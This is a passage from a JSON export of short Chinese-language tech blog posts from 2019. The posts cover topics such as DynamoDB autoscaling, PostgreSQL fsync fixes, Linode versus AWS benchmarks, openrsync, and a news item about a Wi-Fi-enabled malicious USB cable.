    "body": "<a href=\"https://www.adroll.com/\">AdRoll</a> 用 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> Autoscaling 的踩雷記錄，裡面有些資訊如果不是跳下去玩應該不會注意到 (魔鬼藏在細節裡的感覺)：「<a href=\"http://tech.adroll.com/blog/dev/2019/02/05/dynamodb-managed-autoscaling.html\">Managing DynamoDB Autoscaling with Lambda and Cloudwatch</a>」。\r\n\r\n第一個提到的問題是 autoscaling 的觀察對象：\r\n\r\n<blockquote>Ideally, the table should scale based on the number of requests that we are making , not the number of requests that are successful.</blockquote>\r\n\r\n另外一個是 autoscaling 遇到完全不用的情況下不會 scale down，看起來是某種保護機制。但這使得平常只有拿來讀取的表格在跑完 batch job 後得自己處理 write scale down 問題：\r\n\r\n<blockquote>Additionally, at the time of implementing this algorithm, the DynamoDB capacity could not be brought down automatically if the consumption was exactly zero, which can happen if you write to your table in batch instead of realtime, for example.</blockquote>\r\n\r\n<blockquote>This meant that, when enabling autoscaling, tables that were read in realtime, but written to in batch, still needed manual intervention to bring the write capacity down after our jobs were done writing.</blockquote>\r\n\r\n另外一個問題是 scale down 是有次數限制的：\r\n\r\n<blockquote>Another interesting point that might bite users is that capacity decreases are an expensive operation for AWS, so they’re limited.</blockquote>\r\n\r\n<blockquote>The number of decreases cited in the documentation can be achieved under very special conditions, since you need to have 4 decreases in the first hour of the day plus one for each of the remaining hours, for a total of 4 (first hour) + 23 (1 hourly) = 27.</blockquote>\r\n\r\n後面就是自己研究什麼 algorithm 可以調整的更細，然後用 lambda 重寫... 最後省下 30% 的成本：\r\n\r\n<blockquote>Here is where we detected our costs for our batch tables dropping to around 30% of the initial cost.</blockquote>\r\n\r\nAdRoll 的規模應該是不小，所以為了省 30% 可以花不少力氣在上面...",
    "title": "DynamoDB Autoscaling 的各種眉眉角角..."
  },
  {
    "id": "8725",
    "body": "看到「<a href=\"https://wecode.wepay.com/posts/highly-available-mysql-clusters-at-wepay\">Highly Available MySQL Clusters at WePay</a>」這篇講 <a href=\"https://en.wikipedia.org/wiki/WePay\">WePay</a> 用 <a href=\"https://dev.mysql.com/\">MySQL</a> 的設計，本來以為是 WeChat 的服務，仔細看查了之後發現原來是 <a href=\"https://www.jpmorganchase.com/\">JPMorgan Chase</a> 的服務...\r\n\r\n架構在 <a href=\"https://cloud.google.com/\">GCP</a> 上面，本來的 MySQL 是使用 <a href=\"https://github.com/yoshinorim/mha4mysql-manager\">MHA</a> + <a href=\"https://www.haproxy.org/\">HAProxy</a> (patch 過的版本，允許動態改變 pool)，然後用 Routes 處理 HAProxy 的 failover。\r\n\r\n他們遇到的問題是 crash failover 需要至少 30 分鐘的切換時間，另外就是在 GCP 上面跨區時會有的 network partition 問題...\r\n\r\n後續架構變得更複雜，讓人懷疑真的有解決問題嗎 XDDD\r\n\r\n改用 <a href=\"https://github.com/\">GitHub</a> 推出的 <a href=\"https://github.com/github/orchestrator\">Orchestrator</a> 架構，然後用兩層 HAProxy 導流 (一層放在 client side，另外一層是原來架構裡面的 load balancer)，在加上用 <a href=\"https://www.consul.io/\">Consul</a> 更新 HAProxy 的資訊？\r\n\r\n思考為什麼會有這樣設計 (考慮到金融體系的背景)，其實還蠻有趣的...",
    "title": "JPMorgan Chase 的 WePay 用的 MySQL 架構"
  },
  {
    "id": "8726",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 為了反制各種「擋廣告軟體」，用了各種奇怪的 DOM 在擋：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">&quot;Why do I need a 4Ghz quadcore to run facebook?&quot; This is why. A single word split up into 11 HTML DOM elements to avoid adblockers. <a href=\"https://t.co/Zv4RfInrL0\">pic.twitter.com/Zv4RfInrL0</a></p>&mdash; Mike Pan (@themikepan) <a href=\"https://twitter.com/themikepan/status/1093035372186034176?ref_src=twsrc%5Etfw\">February 6, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n目前看起來 ublock origin 這類擋廣告軟體支援的格式已經擋不住了，得靠其他工具來擋... 用到現在一直有在更新的「<a href=\"https://greasyfork.org/en/scripts/22210-facebook-unsponsored\">Facebook unsponsored</a>」算是還行... 看 source code 可以看到他是直接抓有顯示的字串來分析，所以不會受到 DOM 的干擾，不過最近看起來又開始被搞了... XD",
    "title": "擋 Facebook 廣告的 Userscript"
  },
  {
    "id": "8727",
    "body": "<a href=\"https://nuzzel.com/\">Nuzzel</a> 是一個可以提供你會有興趣的文章的服務，不過因為他使用的演算法比較簡單的關係 (列出追隨者的的追隨者有出現哪些文章)，其實同溫層現象 (<a href=\"https://en.wikipedia.org/wiki/Echo_chamber_(media)\">Echo chamber</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Filter_bubble\">Filter bubble</a>) 還濃的。但畢竟就取得資訊來說是個還可以的地方，就一直有在使用...\r\n\r\n而剛剛看到 Nuzzel 被 <a href=\"https://scroll.com/\">Scroll</a> 買下的消息，而原來團隊的大老就直接脫手了：「<a href=\"https://venturebeat.com/2019/02/07/news-aggregator-nuzzel-sold-to-subscription-service-scroll/\">News aggregator Nuzzel sold to subscription service Scroll</a>」。\r\n\r\n<blockquote>Nuzzel founder and CEO Jonathan Abrams and COO Kent Lindstrom are leaving the company, Scroll CEO Tony Haile told VentureBeat.</blockquote>\r\n\r\n<blockquote>Haile will oversee Nuzzel’s operations going forward, and he intends to keep the service independent. “Our first priority is not to screw that up,” he told VentureBeat. “If you like the email digest, you’ll still get the email digest. If you love the app, it will still give you the best discovery experience around.”</blockquote>\r\n\r\n看起來不太妙... 又要找替代方案了嗎 :o",
    "title": "Nuzzel 賣給 Scroll"
  },
  {
    "id": "8728",
    "body": "在「<a href=\"https://www.macrumors.com/2019/02/06/apple-removes-safari-do-not-track-option/\">Apple Removes Useless 'Do Not Track' Feature From Latest Beta Versions of Safari</a>」這邊看到的，看起來包括 <a href=\"https://en.wikipedia.org/wiki/IOS\">iOS</a> 與 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 都會移除：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Qx0rvUw.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/SiA7KY7.jpg\" alt=\"\" />\r\n\r\n因為沒什麼單位願意遵守，沒必要多送幾個 bytes 還順便讓廣告商可以判斷...",
    "title": "Apple 將移除掉 Safari 的 DNT 功能"
  },
  {
    "id": "8729",
    "body": "包括 <a href=\"https://www.uber.com/\">Uber</a> 與 <a href=\"https://cabify.com/\">Cabify</a> 都受到新規範影響：「<a href=\"https://www.reuters.com/article/us-uber-spain-idUSKCN1PP120\">Ride-hailing companies suspend Barcelona services after new regulations</a>」。\r\n\r\n新規範限制乘客必須在上車前十五分鐘叫車：\r\n\r\n<blockquote>The Catalan government ruled that ride-hailing services could only pick up passengers after a 15-minute delay from the time they were booked.</blockquote>\r\n\r\n不是直接說你違法，而是用這個方式壓制隨叫隨到的服務... 這個方式應該會擴散到其他地區。",
    "title": "西班牙透過新法規限制 Uber 營業"
  },
  {
    "id": "8730",
    "body": "看到 <a href=\"https://simonwillison.net/\">Simon Willison</a> 寫了個工具，可以把各種資料庫的資料轉移到 <a href=\"https://sqlite.org/\">SQLite</a> 裡：「<a href=\"https://simonwillison.net/2019/Feb/8/db-to-sqlite/\">db-to-sqlite</a>」，而程式碼可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/simonw/db-to-sqlite\">simonw/db-to-sqlite</a>」取得。\r\n\r\n不是個常態會用到的情況，但用到的時候總是不想要自己刻 XD",
    "title": "把資料庫轉移到 SQLite 的工具"
  },
  {
    "id": "8733",
    "body": "RDBMS 最困難的事情都圍繞在「怎麼不中斷服務」(很多事情在不用考慮 uptime/downtime 的前提下很好做，不論是 <code>ALTER</code> 或是 failover，到備份還原計畫)，而 <a href=\"https://www.paypal.com/\">PayPal</a> 的 <a href=\"https://en.wikipedia.org/wiki/Braintree_(company)\">Braintree</a> 在「<a href=\"https://medium.com/braintree-product-technology/postgresql-at-scale-database-schema-changes-without-downtime-20d3749ed680\">PostgreSQL at Scale: Database Schema Changes Without Downtime</a>」這邊討論修改 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 database schema 時怎麼不中斷服務。\r\n\r\n文章內的大部份都是給 DBA 知道的細節 (e.g. 怎麼樣才不會觸發大規模的 lock 導致服務中斷)，而不是開發者面向的事情... 但開頭的部份，也是我認為最重要的部份，則是需要 Developer 參與的：\r\n\r\n<blockquote>For all code and database changes, we require that:\r\n\r\n<ul>\r\n\t<li>Live code and schemas be forward-compatible with updated code and schemas: this allows us to roll out deploys gradually across a fleet of application servers and database clusters.</li>\r\n\t<li>New code and schemas be backward-compatible with live code and schemas: this allows us to roll back any change to the previous version in the event of unexpected errors.</li>\r\n</ul></blockquote>\r\n\r\n為了符合這兩個要素，可能會在 schema 設計上有好幾個階段的操作，而非一次到位。而且也才能避免要關站從 backup 倒資料回來的情況...\r\n\r\n建議可以研究看看要怎麼玩，常見的情境知道怎麼設計步驟後，真的遇到的時候會比較熟練。",
    "title": "Braintree (PayPal) 用 PostgreSQL 的方式"
  },
  {
    "id": "8734",
    "body": "在「<a href=\"https://hackaday.com/2019/02/05/what-happened-to-the-100000-hour-led-bulbs/\">What Happened to the 100,000-Hour LED Bulbs?</a>」這邊看到在討論 LED 燈泡的壽命。比較感興趣的是到底業界怎麼計算 LED 燈泡的壽命。\r\n\r\n前面提到很多因使用時間的增加而產生衰退與色偏，然後講到「壽命」的定義是，超過一半的燈泡低於 70% 的原始亮度所需要的時間：\r\n\r\n<blockquote>Research says that most users won’t notice a gradual 30% drop in light levels; accordingly the industry has defined L<sub>70</sub>, the time at which the output has dropped to 70% of its initial level, as an endpoint for measuring LED bulb lifetime. Based on how it’s estimated, this measure is typically stated as B<sub>50</sub>-L<sub>70</sub>, the point at which 50% of an initial sample of bulbs will retain 70% of their rated output.</blockquote>\r\n\r\n另外一個有趣的資料是，LED 燈泡故障的原因中，電源供應相關佔了最大的比率 (過半)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nk5bH4C.webp\" /><img src=\"https://i.gslin.com/imgur/nk5bH4C.jpg\" alt=\"\" /></picture>\r\n\r\n算是個有趣的知識...",
    "title": "LED 燈泡的壽命"
  },
  {
    "id": "8736",
    "body": "看到「<a href=\"https://postlight.com/trackchanges/mercury-goes-open-source\">Mercury Goes Open Source!</a>」這篇，<a href=\"https://postlight.com/\">Postlight</a> 的團隊開源了 <a href=\"https://mercury.postlight.com/web-parser/\">Mercury Web Parser</a>，程式碼在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/postlight/mercury-parser\">postlight/mercury-parser</a> 可以取得。\r\n\r\n這個版本是用 <a href=\"https://nodejs.org/\">Node.js</a> 寫的，可以從範例看出用法以及結果：\r\n\r\n<pre>import Mercury from '@postlight/mercury-parser';\r\nMercury.parse(url).then(result =&gt; console.log(result););</pre>\r\n\r\n<pre>{\r\n  \"title\": \"Thunder (mascot)\",\r\n  \"content\": \"&lt;div&gt;&lt;div&gt;&lt;p&gt;This is the content of the page!&lt;/div&gt;&lt;/div&gt;\",\r\n  \"author\": \"Wikipedia Contributors\",\r\n  \"date_published\": \"2016-09-16T20:56:00.000Z\",\r\n  \"lead_image_url\": null,\r\n  \"dek\": null,\r\n  \"next_page_url\": null,\r\n  \"url\": \"https://en.wikipedia.org/wiki/Thunder_(mascot)\",\r\n  \"domain\": \"en.wikipedia.org\",\r\n  \"excerpt\": \"Thunder Thunder is the stage name for the horse who is the official live animal mascot for the Denver Broncos\",\r\n  \"word_count\": 4677,\r\n  \"direction\": \"ltr\",\r\n  \"total_pages\": 1,\r\n  \"rendered_pages\": 1\r\n}</pre>\r\n\r\n先前其他的軟體與服務可以參考「<a href=\"https://web.archive.org/web/20170410112648/http://tomazkovacic.com/blog/2011/06/09/evaluating-text-extraction-algorithms/\">Evaluating Text Extraction Algorithms</a>」這篇的整理與比較，不過這篇連原網站都不見了... 只能從 <a href=\"https://en.wikipedia.org/wiki/Internet_Archive\">Internet Archive</a> 上翻出來。\r\n\r\n這個主題有不少團隊都做過 (給一個 html 網頁，抓出實際的內容塊落)，但也死了不少團隊... 比較有印象的是 <a href=\"https://www.readability.com/\">Readability</a>，在 2016 年收掉了：「<a href=\"https://medium.com/@readability/the-readability-bookmarking-service-will-shut-down-on-september-30-2016-1641cc18e02b\">The Readability bookmarking service will shut down on September 30, 2016.</a>」。\r\n\r\n要撈資料可以拿來用...",
    "title": "Mercury Web Parser 開源"
  },
  {
    "id": "8737",
    "body": "<a href=\"https://en.wikipedia.org/wiki/RISC-V\">RISC-V</a> 是目前最有名的 open source 指令集，但似乎不太好找對應的硬體... 在「<a href=\"https://abopen.com/news/building-a-risc-v-pc/\">Building a RISC-V PC</a>」這篇則是介紹了怎麼弄一台 RISC-V 的 PC：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ZS7IXPe.jpg\" alt=\"\" />\r\n\r\n採用的硬體是 <a href=\"https://www.crowdsupply.com/sifive/hifive-unleashed\">HiFive Unleashed</a> (USD$999)，硬體架構包括了：\r\n\r\n<ul>\r\n\t<li>SiFive Freedom U540 SoC</li>\r\n\t<li>8 GB DDR4 with ECC</li>\r\n\t<li>Gigabit Ethernet port</li>\r\n\t<li>32 MB quad SPI flash from ISSI</li>\r\n\t<li>microSD card for removable storage</li>\r\n\t<li>FMC connector for future expansion</li>\r\n</ul>\r\n\r\n沒有 USB 與 HDMI，作者是透過 <a href=\"https://www.crowdsupply.com/microsemi/hifive-unleashed-expansion-board\">HiFive Unleashed Expansion Board</a> (USD$1999) 接出來的，不過這張還包括了 <a href=\"https://en.wikipedia.org/wiki/Field-programmable_gate_array\">FPGA</a>，這好像有點超過，兩個套件再加上 M.2 或是 SATA 的 disk 應該是超過台幣十萬...\r\n\r\n不過畢竟算是早期的產品，之後有規模後應該會開始有中低價位的產品出現...",
    "title": "組一台 RISC-V 的 PC"
  },
  {
    "id": "8739",
    "body": "先前有提到 <a href=\"https://www.linode.com/\">Linode</a> 出了 Dedicated 主機：「<a href=\"https://blog.gslin.org/archives/2019/02/06/8716/linode-%E6%8E%A8%E5%87%BA-dedicated-cpu-instances/\">Linode 推出 Dedicated CPU Instances</a>」，現在找機會測試看看，拿了 Linode 的 Dedicated (4GB) 與 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>c5.large</code> 比較，同樣都是 2 vCPU 與 4GB RAM。\r\n\r\n這邊用了 <a href=\"https://github.com/n-st/nench\">n-st/nench</a> 與 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的 speed (包括了 aes、md5、rsa、sha1 與 sha256) 測試，我把結果都貼到這邊：「<a href=\"https://gist.github.com/gslin/47e2bca03af069dfd215cc6160bd08fb\">Linode (Dedicated 4GB) v.s. AWS (c5.large)</a>」。\r\n\r\n可以看到在 CPU 方面主要的差異是 Linode 用的是 <a href=\"https://www.amd.com/\">AMD</a>，而 AWS 用的是 <a href=\"https://www.intel.com/\">Intel</a>，所以就會有蠻多不同的數字表現...\r\n\r\n如果仔細看 OpenSSL 的測試數據，可以看到不同演算法的差異還蠻大的，馬上可以想到的應該是硬體加速方式與 cache 架構差異造成的：\r\n\r\n<ul>\r\n\t<li>在 cipher 類的測試我只測了 AES (目前的主流)，小的 block (16/64/256 bytes) 時 AMD 會輸一些，但大的 block (1024/8192/16384 bytes) 反而會贏不少。</li>\r\n\t<li>在 hash 類的測試中，跑 MD5 時 Linode 則是輸一些，但 SHA1 反而是贏一些，然後 SHA256 時效能好到爆炸贏了一倍 XDDD</li>\r\n\t<li>在 public key 類的測試我測了 RSA，則是 Linode 輸的蠻慘的...</li>\r\n</ul>\r\n\r\n如果考慮到價位大約只有 AWS 的一半，應該是還不錯...",
    "title": "實際比較 Linode 的 Dedicated 主機與 AWS 的 c5.*"
  },
  {
    "id": "8740",
    "body": "<a href=\"https://fosdem.org/2019/\">FOSDEM 2019</a> 上的演講，討論 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 在確保 <a href=\"https://en.wikipedia.org/wiki/ACID_(computer_science)\">ACID</a> 特性中的 <a href=\"https://en.wikipedia.org/wiki/Durability_(database_systems)\">Durability</a> 時遇到 <code>fsync()</code> 的行為跟預想的不一樣 (主要是當 <code>fsync()</code> 失敗的行為)：「<a href=\"https://fosdem.org/2019/schedule/event/postgresql_fsync/\">PostgreSQL vs. fsync</a>」。\r\n\r\n在「<a href=\"https://fosdem.org/2019/interviews/tomas-vondra/\">PostgreSQL vs. fsync. How is it possible that PostgreSQL used fsync incorrectly for 20 years, and what we'll do about it.</a>」這邊的 Q&amp;A 形式的訪談有快速描述了短期的計畫與長期的想法：\r\n\r\n<blockquote>The short-term solution is ensuring that we detect fsync errors reliably at least on sufficiently recent kernels (since 4.13). On older kernels we can’t do much better, unfortunately.\r\n\r\nThe long-term solution is still being discussed in the community, but it’s hard to say how we could keep relying on buffered I/O in the future. So we may end up with direct I/O, but that’s a pretty significant change and is likely going to be a multi-year project.</blockquote>\r\n\r\n在 <a href=\"https://dev.mysql.com/\">MySQL</a> 這邊則是以 <code>O_DIRECT</code> 為主的世界，受到的影響就小很多了...",
    "title": "PostgreSQL 對 fsync() 的行為傷腦筋..."
  },
  {
    "id": "8742",
    "body": "在「<a href=\"https://www.endpoint.com/blog/2019/01/23/migrate-from-sql-server-to-postgresql\">How to Migrate from Microsoft SQL Server to PostgreSQL</a>」這邊看到作者的客戶需要把 <a href=\"https://www.microsoft.com/sql-server\">Microsoft SQL Server</a> 轉移到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> (但沒有提到原因)。\r\n\r\n裡面主要是兩個階段的轉換，第一個階段是 schema 的轉換，作者提到了 <a href=\"https://github.com/dalibo/sqlserver2pgsql\">dalibo/sqlserver2pgsql</a> 這個用 <a href=\"https://www.perl.org/\">Perl</a> 寫的工具：\r\n\r\n<blockquote>Migration tool to convert a Microsoft SQL Server Database into a PostgreSQL database, as automatically as possible http://dalibo.github.io/sqlserver2pgsql</blockquote>\r\n\r\n第二個階段是資料的轉換，是選擇用 <a href=\"https://www.hitachivantara.com/en-us/products/big-data-integration-analytics/pentaho-data-integration.html\">Pentaho Data Integration</a> 的 Community Edition：\r\n\r\n<blockquote>Pentaho offers various stable data-​centric products. Pentaho Data Integration (PDI) is an ETL tool which provides great support for migrating data between different databases without manual intervention. The community edition of PDI is good enough to perform our task here. It needs to establish a connection to both the source and destination databases. Then it will do the rest of work on migrating data from SQL server to Postgres database by executing a PDI job.</blockquote>\r\n\r\n所以用兩個工具串起來... 另外在文章裡面沒提到 stored procedure 之類的問題，應該是他們的客戶沒用到或是很少用到？",
    "title": "從 Microsoft SQL Server 轉移到 PostgreSQL 的工具"
  },
  {
    "id": "8743",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 一直找不太到好用的使用情境，因為 NFS 的關係所以大量 I/O 時的 latency issue 使得速度快不起來，而拿來堆 log 的成本又超級高...\r\n\r\n最新推出的 storage class 則是透過提供低儲存成本的版本，解決了堆 log 這種使用情境：「<a href=\"https://aws.amazon.com/blogs/aws/new-infrequent-access-storage-class-for-amazon-elastic-file-system-efs/\">New – Infrequent Access Storage Class for Amazon Elastic File System (EFS)</a>」。\r\n\r\n不過 EFS 不像 <a href=\"https://aws.amazon.com/s3/\">S3</a> 可以直接選擇 storage class，是需要讓系統管理的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O0qihUP.webp\" /><img src=\"https://i.gslin.com/imgur/O0qihUP.jpg\" alt=\"\" /></picture>\r\n\r\n開啟後 30 天沒有被碰過的檔案就會切過去：\r\n\r\n<blockquote>Eligible Files – Files that are 128 KiB or larger and that have not been accessed or modified for at least 30 days can be transitioned to the new storage class. Modifications to a file’s metadata that do not change the file will not delay a transition.</blockquote>\r\n\r\n而 latency 也會增加：\r\n\r\n<blockquote>Files that have not been read or written for 30 days will be transitioned to the Infrequent Access storage class with no further action on your part. Files in the Standard Access class can be accessed with latency measured in single-digit milliseconds; files in the Infrequent Access class have latency in the double-digits.</blockquote>\r\n\r\n以 <code>us-east-1</code> 為例子來說，Standard 是 USD$0.3/GB-month，而 IA 只要 USD$0.045/GB-month，但抓取時會有 USD$0.01/GB 的傳輸費用，可以看出價錢低不少。\r\n\r\n不過文章裡沒提到什麼時候會把資料從 IA 跳回 Standard，可能得找機會問問看...",
    "title": "Amazon EFS 的 IA Storage Class"
  },
  {
    "id": "8744",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 針對各個 family type 都推出 Bare Metal 版本：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-five-new-amazon-ec2-bare-metal-instances-m5-m5d-r5-r5d-and-z1d/\">Now Available – Five New Amazon EC2 Bare Metal Instances: M5, M5d, R5, R5d, and z1d</a>」。\r\n\r\nAWS 第一次推出 Bare Metal 版本是在 2017 年年末推出的 <code>i3.metal</code>：「<a href=\"https://blog.gslin.org/archives/2017/11/29/7844/amazon-ec2-%E6%8E%A8%E5%87%BA%E7%AC%AC%E4%B8%80%E6%AC%BE-bare-metal-%E7%9A%84-instance/\">Amazon EC2 推出第一款 Bare Metal 的 Instance</a>」，這樣算一算也一年多了，這次算是補產品線...\r\n\r\n要注意的是，這次推出依照區域有不同的機種，像是 Ohio 沒有 <code>z1d.metal</code> 但有其他四種，N. California 則是沒有 <code>m5d.metal</code> 但有其他四種... 要先看一下表格才能確認每一區的情況 @_@",
    "title": "AWS 推出新的 Bare Metal Instances"
  },
  {
    "id": "8745",
    "body": "在「<a href=\"https://undeadly.org/cgi?action=article;sid=20190211081518\">openrsync imported into the tree</a>」這邊看到 <a href=\"https://github.com/kristapsdz/openrsync\">openrsync</a> 專案進入到 <a href=\"https://www.openbsd.org/\">OpenBSD</a> 的 source tree 內。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Rsync\">rsync</a> 是使用 <a href=\"https://www.gnu.org/licenses/gpl-3.0.html\">GPLv3</a> 授權，這個授權剛出來的時候，幾個比較大的 BSD 的團隊都有找律師研究過，最後都是做出不要把 GPLv3 的軟體放進 source tree 的建議，但 rsync 算是很好用的工具 (尤其是在效率上)。\r\n\r\n看起來 openrsync 這個專案主要的目的就是重新實做出 <a href=\"https://en.wikipedia.org/wiki/ISC_license\">ISC license</a> 版本的 rsync：\r\n\r\n<blockquote>This is an implementation of rsync with a BSD (ISC) license. It's compatible with a modern rsync (3.1.3 is used for testing, but any supporting protocol 27 will do), but accepts only a subset of rsync's command-line arguments.</blockquote>\r\n\r\n然後目前只有設計在 OpenBSD 上跑，其他平台可能需要花些時間 porting 修正相容性：\r\n\r\n<blockquote>At this time, openrsync runs only on OpenBSD. If you want to port to your system (e.g. Linux, FreeBSD), read the Portability section first.</blockquote>\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 上的 Git repository 只是個 mirror，真正在管理程式碼的部份還是使用 <a href=\"https://en.wikipedia.org/wiki/Concurrent_Versions_System\">CVS</a>：\r\n\r\n<blockquote>This repository is a read-only mirror of a private CVS repository. I use it for issues and pull requests. Please do not make feature requests: I will simply close out the issue.</blockquote>",
    "title": "openrsync"
  },
  {
    "id": "8752",
    "body": "在「<a href=\"https://lists.zx2c4.com/pipermail/wireguard/2019-February/003853.html\">WireGuard for macOS</a>」這邊看到 <a href=\"https://www.wireguard.com/\">WireGuard</a> 進到 <a href=\"https://www.apple.com/\">Apple</a> 家的 <a href=\"https://en.wikipedia.org/wiki/App_Store_(macOS)\">Mac App Store</a> 了。\r\n\r\n除了是透過 app store 下載外，另外的重點在於整合了 <a href=\"https://developer.apple.com/documentation/networkextension\">NetworkExtension API</a>：\r\n\r\n<blockquote>This is built from the same code base as our existing iOS app and makes use of Apple's Network Extension API to provide native integration into the operating system's networking stack.</blockquote>\r\n\r\n這樣可以確保相容性，而且可以用內建的 VPN 機制管理。另外也給了一些 screenshot 可以看，可以看出來就是走 Mac 上的管理方式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l5xYjkk.webp\" /><img src=\"https://i.gslin.com/imgur/l5xYjkk.jpg\" alt=\"\" /></picture>",
    "title": "WireGuard 上 macOS 了..."
  },
  {
    "id": "8755",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Tweeted once, will tweet again. Third Party Web, a very detailed summary of which third party scripts are most responsible for excessive JavaScript execution (and slowing you down). / via <a href=\"https://twitter.com/umaar?ref_src=twsrc%5Etfw\">@umaar</a><br><br>↬ 3rd-Party Scripts Impact <a href=\"https://t.co/h9LsYSqXre\">https://t.co/h9LsYSqXre</a> <a href=\"https://t.co/e7HvW2Emsx\">pic.twitter.com/e7HvW2Emsx</a></p>&mdash; Smashing Magazine (@smashingmag) <a href=\"https://twitter.com/smashingmag/status/1098101442596999168?ref_src=twsrc%5Etfw\">February 20, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n裡面提到了「<a href=\"https://github.com/patrickhulce/third-party-web\">patrickhulce/third-party-web</a>」的分析 (作者是從 <a href=\"https://httparchive.org/\">HTTP Archive</a> 的資料分析)，裡面依照不同種類的 3rd party js (像是 ad，或是 social element，或是分析工具) 需要執行的時間，以及使用的站台數量。\r\n\r\nSocial 那邊意外看到 <a href=\"https://www.pixnet.net/\">PIXNET</a> 有上去，然後速度只比 <a href=\"https://www.disqus.com/\">Disqus</a> 快一些，應該是沒有 optimize 的關係。\r\n\r\n如果整體一起看的話 (總和花費時間)，可以看到 <a href=\"https://www.google.com/\">Google</a> 各項產品都在最前面，畢竟裡面每個項目都是被廣泛使用的。",
    "title": "Internet 上的 3rd party js 的情況"
  },
  {
    "id": "8756",
    "body": "在這邊看到的，把整個惡意晶片藏在 USB cable 裡面，讓攻擊者可以透過 <a href=\"https://en.wikipedia.org/wiki/Wi-Fi\">Wi-Fi</a> 控制主機的 <a href=\"https://mg.lol/blog/omg-cable/\">O.MG Cable</a>：「<a href=\"https://hackaday.com/2019/02/18/wifi-hides-inside-a-usb-cable/\">WiFi Hides Inside a USB Cable</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/GgolPHD.jpg\" alt=\"\" />\r\n\r\n是個大家都有想過的情境，不算是特別的技術，困難點在於空間有限 (要藏在接頭裡面)，現在有人做出 prototype 了... 在 demo 影片內可以看到可以透過 Wi-Fi 開啟主機本身的 browser 並且連線，不知道是模擬鍵盤還是其他方式做的？",
    "title": "「歡樂」的 USB cable..."
  },
  {
    "id": "8760",
    "body": "上次寫了「<a href=\"https://blog.gslin.org/archives/2019/02/13/8740/postgresql-%E5%B0%8D-fsync-%E7%9A%84%E8%A1%8C%E7%82%BA%E5%82%B7%E8%85%A6%E7%AD%8B/\">PostgreSQL 對 fsync() 的行為傷腦筋...</a>」提到 <code>fsync()</code> 有些地方是與開發者預期不同的問題，但後面忘記跟進度...\r\n\r\n剛剛看到 <a href=\"https://www.percona.com/\">Percona</a> 的人寫了「<a href=\"https://www.percona.com/blog/2019/02/22/postgresql-fsync-failure-fixed-minor-versions-released-feb-14-2019/\">PostgreSQL fsync Failure Fixed – Minor Versions Released Feb 14, 2019</a>」這篇才發現在 2/14 就出了對應的更新，從 release notes 也可以看到：\r\n\r\n<blockquote>By default, panic instead of retrying after fsync() failure, to avoid possible data corruption (Craig Ringer, Thomas Munro)\r\n\r\nSome popular operating systems discard kernel data buffers when unable to write them out, reporting this as fsync() failure. If we reissue the fsync() request it will succeed, but in fact the data has been lost, so continuing risks database corruption. By raising a panic condition instead, we can replay from WAL, which may contain the only remaining copy of the data in such a situation. While this is surely ugly and inefficient, there are few alternatives, and fortunately the case happens very rarely.\r\n\r\nA new server parameter data_sync_retry has been added to control this; if you are certain that your kernel does not discard dirty data buffers in such scenarios, you can set data_sync_retry to on to restore the old behavior.</blockquote>\r\n\r\n現在的 workaround 是遇到 <code>fsync()</code> 失敗時為了避免 data corruption，會直接 panic 讓整個 PostgreSQL 從 WAL replay 記錄，也代表 HA 機制 (如果有設計的話) 有機會因為這個原因被觸發...\r\n\r\n不過也另外設計了 <code>data_sync_retry</code>，讓 PostgreSQL 的管理者可以硬把這個 panic 行為關掉，改讓 PostgreSQL 重新試著 <code>fsync()</code>，這應該是在之後 kernel 有修改時會用到...",
    "title": "PostgreSQL 對 fsync() 的修正"
  },
  {
    "id": "8761",
    "body": "看到「<a href=\"https://blog.cloudflare.com/registrar-after-three-months/\">Cloudflare Registrar at three months</a>」這篇文章，然後前幾天剛好也有其他人提到轉到 Cloudflare 的事情，就把手上的網域也轉一轉...\r\n\r\n轉過來最主要的原因還是價錢，另外也是因為都掛進 Cloudflare 了，直接把註冊商掛在 Cloudflare 上有很多設定會比較簡單。\r\n\r\n批次轉移界面做的還不錯，系統會先把帳號內的網域都列出來，然後依照註冊商歸類後給你填 auth code，之後開始轉就會收到確認信，確認後就都過去了。不過還是有些沒收到確認信，不知道是不是等五天...\r\n\r\n另外一個是信用卡的部份，元大的 JCB 刷不過 (不過元大的系統擋很凶似乎是用這張的人都知道了...)，改用富邦的 VISA 一刷下去就過了，但是轉 n 個網域就產生了 n 筆交易，然後就接到銀行的關切電話了...\r\n\r\n雖然支援了 246 個 tld，但目前 <code>*.tw</code> 還不能轉，先把其他的轉過來了...",
    "title": "開始把一堆網域轉到 Cloudflare 上..."
  },
  {
    "id": "8762",
